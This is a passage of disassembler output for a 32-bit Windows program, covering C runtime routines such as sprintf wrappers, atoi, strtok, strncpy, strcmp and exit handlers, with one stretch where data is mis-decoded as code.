		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		call	sub_424CB0
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+var_24]
		mov	[eax+4], edx
		mov	ecx, [ebp+var_24]
		cmp	dword ptr [ecx+4], 0
		jl	short loc_41D238
		mov	edx, [ebp+var_24]
		mov	eax, [edx]
		mov	byte ptr [eax],	0
		xor	ecx, ecx
		and	ecx, 0FFh
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_24]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_24]
		mov	[ecx], eax
		jmp	short loc_41D249
; ---------------------------------------------------------------------------


loc_41D238:				; CODE XREF: sub_41D160+B4j
		mov	edx, [ebp+var_24]
		push	edx
		push	0
		call	sub_424A30
		add	esp, 8
		mov	[ebp+var_2C], eax


loc_41D249:				; CODE XREF: sub_41D160+D6j
		mov	eax, [ebp+var_28]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D160	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D260	proc near		; CODE XREF: sub_40145D+5Ep
					; sub_40216A+2Ep ...

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_20]
		mov	[ebp+var_24], eax
		lea	ecx, [ebp+arg_8]
		mov	[ebp+var_2C], ecx


loc_41D275:				; CODE XREF: sub_41D260+3Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_41D299
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	5Dh
		push	offset aSprintf_c ; "sprintf.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41D299
		int	3		; Trap to Debugger


loc_41D299:				; CODE XREF: sub_41D260+19j
					; sub_41D260+36j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41D275


loc_41D29F:				; CODE XREF: sub_41D260+67j
		cmp	[ebp+arg_4], 0
		jnz	short loc_41D2C3
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	5Eh
		push	offset aSprintf_c ; "sprintf.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41D2C3
		int	3		; Trap to Debugger


loc_41D2C3:				; CODE XREF: sub_41D260+43j
					; sub_41D260+60j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41D29F
		mov	ecx, [ebp+var_24]
		mov	dword ptr [ecx+0Ch], 42h
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+arg_0]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	eax, [ebp+var_24]
		mov	dword ptr [eax+4], 7FFFFFFFh
		mov	ecx, [ebp+var_2C]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		call	sub_424CB0
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ecx+4]
		sub	edx, 1
		mov	eax, [ebp+var_24]
		mov	[eax+4], edx
		mov	ecx, [ebp+var_24]
		cmp	dword ptr [ecx+4], 0
		jl	short loc_41D33F
		mov	edx, [ebp+var_24]
		mov	eax, [edx]
		mov	byte ptr [eax],	0
		xor	ecx, ecx
		and	ecx, 0FFh
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+var_24]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+var_24]
		mov	[ecx], eax
		jmp	short loc_41D350
; ---------------------------------------------------------------------------


loc_41D33F:				; CODE XREF: sub_41D260+BBj
		mov	edx, [ebp+var_24]
		push	edx
		push	0
		call	sub_424A30
		add	esp, 8
		mov	[ebp+var_30], eax


loc_41D350:				; CODE XREF: sub_41D260+DDj
		mov	eax, [ebp+var_28]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D260	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D360	proc near		; CODE XREF: sub_40145D+42p
					; seg000:00404949p ...

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_20]
		mov	[ebp+var_24], eax
		lea	ecx, [ebp+arg_C]
		mov	[ebp+var_2C], ecx


loc_41D375:				; CODE XREF: sub_41D360+3Dj
		cmp	[ebp+arg_0], 0
		jnz	short loc_41D399
		push	offset aStringNull ; "string !=	NULL"
		push	0
		push	5Dh
		push	offset aSprintf_c ; "sprintf.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41D399
		int	3		; Trap to Debugger


loc_41D399:				; CODE XREF: sub_41D360+19j
					; sub_41D360+36j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_41D375


loc_41D39F:				; CODE XREF: sub_41D360+67j
		cmp	[ebp+arg_8], 0
		jnz	short loc_41D3C3
		push	offset aFormatNull ; "format !=	NULL"
		push	0
		push	5Eh
		push	offset aSprintf_c ; "sprintf.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_41D3C3
		int	3		; Trap to Debugger


loc_41D3C3:				; CODE XREF: sub_41D360+43j
					; sub_41D360+60j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_41D39F
		mov	ecx, [ebp+var_24]
		mov	dword ptr [ecx+0Ch], 42h
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+arg_0]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ebp+arg_0]
		mov	[ecx], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+arg_4]
		mov	[eax+4], ecx
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		call	sub_424CB0
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		mov	edx, [ebp+var_24]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	ecx, [ebp+var_24]
		mov	[ecx+4], eax
		mov	edx, [ebp+var_24]
		cmp	dword ptr [edx+4], 0
		jl	short loc_41D43E
		mov	eax, [ebp+var_24]
		mov	ecx, [eax]
		mov	byte ptr [ecx],	0
		xor	edx, edx
		and	edx, 0FFh
		mov	[ebp+var_30], edx
		mov	eax, [ebp+var_24]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+var_24]
		mov	[edx], ecx
		jmp	short loc_41D44F
; ---------------------------------------------------------------------------


loc_41D43E:				; CODE XREF: sub_41D360+BAj
		mov	eax, [ebp+var_24]
		push	eax
		push	0
		call	sub_424A30
		add	esp, 8
		mov	[ebp+var_30], eax


loc_41D44F:				; CODE XREF: sub_41D360+DCj
		mov	eax, [ebp+var_28]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D360	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D460	proc near		; CODE XREF: sub_41D560+7p
					; seg000:0042F051p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h


loc_41D466:				; CODE XREF: sub_41D460+4Ej
		cmp	ds:dword_44FD20, 1
		jle	short loc_41D486
		push	8
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		push	ecx
		call	sub_423D90
		add	esp, 8
		mov	[ebp+var_10], eax
		jmp	short loc_41D49F
; ---------------------------------------------------------------------------


loc_41D486:				; CODE XREF: sub_41D460+Dj
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, ds:off_44FE2C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8
		mov	[ebp+var_10], edx


loc_41D49F:				; CODE XREF: sub_41D460+24j
		cmp	[ebp+var_10], 0
		jz	short loc_41D4B0
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_41D466
; ---------------------------------------------------------------------------


loc_41D4B0:				; CODE XREF: sub_41D460+43j
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_C], ecx
		cmp	[ebp+var_4], 2Dh
		jz	short loc_41D4D5
		cmp	[ebp+var_4], 2Bh
		jnz	short loc_41D4E8


loc_41D4D5:				; CODE XREF: sub_41D460+6Dj
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx


loc_41D4E8:				; CODE XREF: sub_41D460+73j
		mov	[ebp+var_8], 0


loc_41D4EF:				; CODE XREF: sub_41D460+E9j
		cmp	ds:dword_44FD20, 1
		jle	short loc_41D50B
		push	4
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_423D90
		add	esp, 8
		mov	[ebp+var_14], eax
		jmp	short loc_41D520
; ---------------------------------------------------------------------------


loc_41D50B:				; CODE XREF: sub_41D460+96j
		mov	eax, [ebp+var_4]
		mov	ecx, ds:off_44FE2C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_14], edx


loc_41D520:				; CODE XREF: sub_41D460+A9j
		cmp	[ebp+var_14], 0
		jz	short loc_41D54B
		mov	eax, [ebp+var_8]
		imul	eax, 0Ah
		mov	ecx, [ebp+var_4]
		lea	edx, [eax+ecx-30h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		jmp	short loc_41D4EF
; ---------------------------------------------------------------------------


loc_41D54B:				; CODE XREF: sub_41D460+C4j
		cmp	[ebp+var_C], 2Dh
		jnz	short loc_41D558
		mov	eax, [ebp+var_8]
		neg	eax
		jmp	short loc_41D55B
; ---------------------------------------------------------------------------


loc_41D558:				; CODE XREF: sub_41D460+EFj
		mov	eax, [ebp+var_8]


loc_41D55B:				; CODE XREF: sub_41D460+F6j
		mov	esp, ebp
		pop	ebp
		retn
sub_41D460	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D560	proc near		; CODE XREF: seg000:004024A9p
					; seg000:004024C5p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41D460
		add	esp, 4
		pop	ebp
		retn
sub_41D560	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi


loc_41D587:				; CODE XREF: seg000:0041D5CFj
		cmp	ds:dword_44FD20, 1
		jle	short loc_41D5A7
		push	8
		mov	eax, [ebp+8]
		xor	ecx, ecx
		mov	cl, [eax]
		push	ecx
		call	sub_423D90
		add	esp, 8
		mov	[ebp-14h], eax
		jmp	short loc_41D5C0
; ---------------------------------------------------------------------------


loc_41D5A7:				; CODE XREF: seg000:0041D58Ej
		mov	edx, [ebp+8]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, ds:off_44FE2C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 8
		mov	[ebp-14h], edx


loc_41D5C0:				; CODE XREF: seg000:0041D5A5j
		cmp	dword ptr [ebp-14h], 0
		jz	short loc_41D5D1
		mov	eax, [ebp+8]
		add	eax, 1
		mov	[ebp+8], eax
		jmp	short loc_41D587
; ---------------------------------------------------------------------------


loc_41D5D1:				; CODE XREF: seg000:0041D5C4j
		mov	ecx, [ebp+8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp-4], edx
		mov	eax, [ebp+8]
		add	eax, 1
		mov	[ebp+8], eax
		mov	ecx, [ebp-4]
		mov	[ebp-10h], ecx
		cmp	dword ptr [ebp-4], 2Dh
		jz	short loc_41D5F6
		cmp	dword ptr [ebp-4], 2Bh
		jnz	short loc_41D609


loc_41D5F6:				; CODE XREF: seg000:0041D5EEj
		mov	edx, [ebp+8]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		add	ecx, 1
		mov	[ebp+8], ecx


loc_41D609:				; CODE XREF: seg000:0041D5F4j
		mov	dword ptr [ebp-0Ch], 0
		mov	dword ptr [ebp-8], 0


loc_41D617:				; CODE XREF: seg000:0041D687j
		cmp	ds:dword_44FD20, 1
		jle	short loc_41D633
		push	4
		mov	edx, [ebp-4]
		push	edx
		call	sub_423D90
		add	esp, 8
		mov	[ebp-18h], eax
		jmp	short loc_41D648
; ---------------------------------------------------------------------------


loc_41D633:				; CODE XREF: seg000:0041D61Ej
		mov	eax, [ebp-4]
		mov	ecx, ds:off_44FE2C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp-18h], edx


loc_41D648:				; CODE XREF: seg000:0041D631j
		cmp	dword ptr [ebp-18h], 0
		jz	short loc_41D689
		push	0
		push	0Ah
		mov	eax, [ebp-8]
		push	eax
		mov	ecx, [ebp-0Ch]
		push	ecx
		call	sub_420380
		mov	ecx, eax
		mov	esi, edx
		mov	eax, [ebp-4]
		sub	eax, 30h
		cdq
		add	ecx, eax
		adc	esi, edx
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], esi
		mov	edx, [ebp+8]
		xor	eax, eax
		mov	al, [edx]
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		add	ecx, 1
		mov	[ebp+8], ecx
		jmp	short loc_41D617
; ---------------------------------------------------------------------------


loc_41D689:				; CODE XREF: seg000:0041D64Cj
		cmp	dword ptr [ebp-10h], 2Dh
		jnz	short loc_41D69E
		mov	eax, [ebp-0Ch]
		neg	eax
		mov	edx, [ebp-8]
		adc	edx, 0
		neg	edx
		jmp	short loc_41D6A4
; ---------------------------------------------------------------------------


loc_41D69E:				; CODE XREF: seg000:0041D68Dj
		mov	eax, [ebp-0Ch]
		mov	edx, [ebp-8]


loc_41D6A4:				; CODE XREF: seg000:0041D69Cj
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D6B0	proc near		; CODE XREF: seg000:0040249Cp
					; seg000:004024B9p ...

var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_30], eax
		call	sub_425C30
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], 0
		jmp	short loc_41D6D6
; ---------------------------------------------------------------------------


loc_41D6CD:				; CODE XREF: sub_41D6B0+34j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx


loc_41D6D6:				; CODE XREF: sub_41D6B0+1Bj
		cmp	[ebp+var_C], 20h
		jge	short loc_41D6E6
		mov	edx, [ebp+var_C]
		mov	[ebp+edx+var_2C], 0
		jmp	short loc_41D6CD
; ---------------------------------------------------------------------------


loc_41D6E6:				; CODE XREF: sub_41D6B0+2Aj
					; sub_41D6B0+79j
		mov	eax, [ebp+var_30]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, ecx
		sar	edx, 3
		mov	eax, [ebp+var_30]
		xor	ecx, ecx
		mov	cl, [eax]
		and	ecx, 7
		mov	eax, 1
		shl	eax, cl
		mov	cl, [ebp+edx+var_2C]
		or	cl, al
		mov	edx, [ebp+var_30]
		xor	eax, eax
		mov	al, [edx]
		sar	eax, 3
		mov	[ebp+eax+var_2C], cl
		mov	ecx, [ebp+var_30]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+var_30]
		add	eax, 1
		mov	[ebp+var_30], eax
		test	edx, edx
		jnz	short loc_41D6E6
		cmp	[ebp+arg_0], 0
		jz	short loc_41D739
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		jmp	short loc_41D742
; ---------------------------------------------------------------------------


loc_41D739:				; CODE XREF: sub_41D6B0+7Fj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+18h]
		mov	[ebp+var_4], eax


loc_41D742:				; CODE XREF: sub_41D6B0+87j
					; sub_41D6B0+CFj
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		sar	edx, 3
		xor	eax, eax
		mov	al, [ebp+edx+var_2C]
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	ecx, edx
		and	ecx, 7
		mov	edx, 1
		shl	edx, cl
		and	eax, edx
		test	eax, eax
		jz	short loc_41D781
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_41D781
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_41D742
; ---------------------------------------------------------------------------


loc_41D781:				; CODE XREF: sub_41D6B0+B9j
					; sub_41D6B0+C4j
		mov	eax, [ebp+var_4]
		mov	[ebp+arg_0], eax
		jmp	short loc_41D792
; ---------------------------------------------------------------------------


loc_41D789:				; CODE XREF: sub_41D6B0:loc_41D7D7j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_41D792:				; CODE XREF: sub_41D6B0+D7j
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_41D7D9
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		sar	edx, 3
		xor	eax, eax
		mov	al, [ebp+edx+var_2C]
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	ecx, edx
		and	ecx, 7
		mov	edx, 1
		shl	edx, cl
		and	eax, edx
		test	eax, eax
		jz	short loc_41D7D7
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_41D7D9
; ---------------------------------------------------------------------------


loc_41D7D7:				; CODE XREF: sub_41D6B0+114j
		jmp	short loc_41D789
; ---------------------------------------------------------------------------


loc_41D7D9:				; CODE XREF: sub_41D6B0+EBj
					; sub_41D6B0+125j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		mov	[edx+18h], eax
		mov	ecx, [ebp+arg_0]
		cmp	ecx, [ebp+var_4]
		jnz	short loc_41D7EE
		xor	eax, eax
		jmp	short loc_41D7F1
; ---------------------------------------------------------------------------


loc_41D7EE:				; CODE XREF: sub_41D6B0+138j
		mov	eax, [ebp+arg_0]


loc_41D7F1:				; CODE XREF: sub_41D6B0+13Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_41D6B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D800	proc near		; CODE XREF: seg000:0040248Ep
					; sub_402D46+98p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41D883
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41D824
		shr	ecx, 2
		jnz	short loc_41D891
		jmp	short loc_41D845
; ---------------------------------------------------------------------------


loc_41D824:				; CODE XREF: sub_41D800+1Bj
					; sub_41D800+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41D852
		test	al, al
		jz	short loc_41D85A
		test	esi, 3
		jnz	short loc_41D824
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41D891


loc_41D840:				; CODE XREF: sub_41D800+8Fj
		and	ebx, 3
		jz	short loc_41D852


loc_41D845:				; CODE XREF: sub_41D800+22j
					; sub_41D800+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41D87E
		dec	ebx
		jnz	short loc_41D845


loc_41D852:				; CODE XREF: sub_41D800+2Bj
					; sub_41D800+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41D85A:				; CODE XREF: sub_41D800+2Fj
		test	edi, 3
		jz	short loc_41D874


loc_41D862:				; CODE XREF: sub_41D800+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41D8F6
		test	edi, 3
		jnz	short loc_41D862


loc_41D874:				; CODE XREF: sub_41D800+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41D8E7


loc_41D87B:				; CODE XREF: sub_41D800+7Fj
					; sub_41D800+F4j
		mov	[edi], al
		inc	edi


loc_41D87E:				; CODE XREF: sub_41D800+4Dj
		dec	ebx
		jnz	short loc_41D87B
		pop	ebx
		pop	esi


loc_41D883:				; CODE XREF: sub_41D800+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41D889:				; CODE XREF: sub_41D800+A9j
					; sub_41D800+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41D840


loc_41D891:				; CODE XREF: sub_41D800+20j
					; sub_41D800+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41D889
		test	dl, dl
		jz	short loc_41D8DB
		test	dh, dh
		jz	short loc_41D8D1
		test	edx, 0FF0000h
		jz	short loc_41D8C7
		test	edx, 0FF000000h
		jnz	short loc_41D889
		mov	[edi], edx
		jmp	short loc_41D8DF
; ---------------------------------------------------------------------------


loc_41D8C7:				; CODE XREF: sub_41D800+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41D8DF
; ---------------------------------------------------------------------------


loc_41D8D1:				; CODE XREF: sub_41D800+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41D8DF
; ---------------------------------------------------------------------------


loc_41D8DB:				; CODE XREF: sub_41D800+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41D8DF:				; CODE XREF: sub_41D800+C5j
					; sub_41D800+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41D8F1


loc_41D8E7:				; CODE XREF: sub_41D800+79j
		xor	eax, eax


loc_41D8E9:				; CODE XREF: sub_41D800+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41D8E9


loc_41D8F1:				; CODE XREF: sub_41D800+E5j
		and	ebx, 3
		jnz	short loc_41D87B


loc_41D8F6:				; CODE XREF: sub_41D800+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41D800	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D900	proc near		; CODE XREF: seg000:0040247Ap
					; seg000:004031CBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41D94C


loc_41D910:				; CODE XREF: sub_41D900+3Cj
					; sub_41D900+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41D944
		or	al, al
		jz	short loc_41D940
		cmp	ah, [ecx+1]
		jnz	short loc_41D944
		or	ah, ah
		jz	short loc_41D940
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41D944
		or	al, al
		jz	short loc_41D940
		cmp	ah, [ecx+3]
		jnz	short loc_41D944
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41D910
		mov	edi, edi


loc_41D940:				; CODE XREF: sub_41D900+18j
					; sub_41D900+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D944:				; CODE XREF: sub_41D900+14j
					; sub_41D900+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D94C:				; CODE XREF: sub_41D900+Ej
		test	edx, 1
		jz	short loc_41D968
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41D944
		inc	ecx
		or	al, al
		jz	short loc_41D940
		test	edx, 2
		jz	short loc_41D910


loc_41D968:				; CODE XREF: sub_41D900+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41D944
		or	al, al
		jz	short loc_41D940
		cmp	ah, [ecx+1]
		jnz	short loc_41D944
		or	ah, ah
		jz	short loc_41D940
		add	ecx, 2
		jmp	short loc_41D910
sub_41D900	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D990	proc near		; CODE XREF: seg000:00420C02p
		push	ebp
		mov	ebp, esp
		cmp	ds:off_44FCFC, 0
		jz	short loc_41D9A2
		call	ds:off_44FCFC


loc_41D9A2:				; CODE XREF: sub_41D990+Aj
		push	offset dword_43C02C
		push	offset dword_43C018
		call	sub_41DB60
		add	esp, 8
		push	offset dword_43C014
		push	offset dword_43C000
		call	sub_41DB60
		add	esp, 8
		pop	ebp
		retn
sub_41D990	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D9D0	proc near		; CODE XREF: seg000:00420C5Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	loc_41DA50
		add	esp, 0Ch
		pop	ebp
		retn
sub_41D9D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D9F0	proc near		; CODE XREF: seg000:00420C84p
					; sub_420CA0+22p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	loc_41DA50
		add	esp, 0Ch
		pop	ebp
		retn
sub_41D9F0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	0
		push	0
		call	loc_41DA50
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	1
		push	0
		call	loc_41DA50
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41DA50:				; CODE XREF: sub_41D9D0+Bp
					; sub_41D9F0+Bp ...
		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_41DB40
		cmp	ds:dword_4EE9A8, 1
		jnz	short near ptr loc_41DA6F+4
		mov	eax, [ebp+8]
		push	eax
		call	near ptr 3D0000h
		mov	byte ptr [eax-18h], 8Eh


loc_41DA6F:				; CODE XREF: seg000:0041DA60j
		and	eax, 0C7CCFFFBh
		add	eax, offset dword_4EE9A4
		add	[eax], eax
; ---------------------------------------------------------------------------
		db 0
		dd 104D8A00h, 0E9A00D88h, 7D83004Eh, 4775000Ch,	903D83h
		dd 7400004Fh, 8C158B2Ch, 89004F00h, 458BFC55h, 4E883FCh
		dd 8BFC4589h, 0D3BFC4Dh, 4F0090h, 558B0F72h, 3A83FCh, 458B0574h
		dd 0EB10FFFCh, 0C03868DDh, 30680043h, 0E80043C0h, 90h
		dd 6808C483h, 43C044h, 43C03C68h, 7EE800h, 0C4830000h
		dd 0AC3D8308h, 4EE9h, 0FF6A2075h, 0FFE87BE8h, 4C483FFh
		dd 8520E083h, 0C70F74C0h, 4EE9AC05h, 100h, 0F172E800h
		dd 7D83FFFFh, 7740010h,	37E8h, 0C714EB00h, 4EE9A805h, 100h
		dd 84D8B00h, 0F815FF51h, 8B004F12h, 0CCC35DE5h,	3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB40	proc near		; CODE XREF: seg000:0041DA54p
					; sub_41FDB0+4p
		push	ebp
		mov	ebp, esp
		push	0Dh
		call	sub_421A80
		add	esp, 4
		pop	ebp
		retn
sub_41DB40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

